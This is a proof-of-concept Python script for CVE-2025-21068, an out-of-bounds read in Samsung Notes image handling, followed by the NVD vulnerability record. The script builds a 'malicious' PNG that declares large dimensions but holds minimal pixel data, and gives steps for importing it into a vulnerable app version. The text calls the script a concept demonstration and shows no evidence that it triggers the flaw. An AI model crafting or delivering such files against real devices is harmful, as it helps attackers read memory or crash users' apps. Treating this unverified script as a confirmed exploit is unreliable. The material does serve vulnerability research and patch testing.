CVE-2025-21068

# CVE-2025-21068 PoC - Samsung Notes OOB Read via Malicious Image # This PoC demonstrates the concept of triggering an out-of-bounds read # in Samsung Notes (< 4.4.30.63) through a crafted image file. import struct import zlib def create_malicious_image(output_path): """ Create a crafted image with mismatched dimensions to trigger out-of-bounds read in Samsung Notes image processing module. The key is to declare large image dimensions in the header while providing minimal actual pixel data, causing the parser to read beyond the allocated buffer. """ # PNG signature png_signature = b'\x89PNG\r\n\x1a\n' # IHDR chunk - declare large dimensions but small actual data width = 4096 # Declared width (large) height = 4096 # Declared height (large) bit_depth = 8 color_type = 2 # RGB compression = 0 filter_method = 0 interlace = 0 ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth, color_type, compression, filter_method, interlace) ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # IDAT chunk - provide intentionally small/malformed pixel data # This mismatch between declared size and actual data triggers OOB read raw_data = b'\x00' * 16 # Minimal data, far less than declared image size compressed_data = zlib.compress(raw_data) idat_crc = zlib.crc32(b'IDAT' + compressed_data) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed_data)) + b'IDAT' + compressed_data + struct.pack('>I', idat_crc) # IEND chunk iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) # Assemble the malicious PNG with open(output_path, 'wb') as f: f.write(png_signature) f.write(ihdr_chunk) f.write(idat_chunk) f.write(iend_chunk) print(f"[*] Malicious image created: {output_path}") print(f"[*] Declared dimensions: {width}x{height}") print(f"[*] Actual pixel data: truncated (triggers OOB read)") # Usage: # 1. Generate the malicious image create_malicious_image("malicious_note_image.png") # 2. Import this image into Samsung Notes (< 4.4.30.63) # 3. When Samsung Notes attempts to render/process the image, # the out-of-bounds read vulnerability is triggered # 4. Monitor memory access patterns or use ASAN to confirm the OOB read

{"cve": {"id": "CVE-2025-21068", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:43.230", "lastModified": "2025-10-16T18:39:28.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in the reading of image data in Samsung Notes prior to version 4.4.30.63 allows local attackers to access out-of-bounds memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:notes:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.30.63", "matchCriteriaId": "5029C1F8-35E0-44F9-B0CE-000486E267EB"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}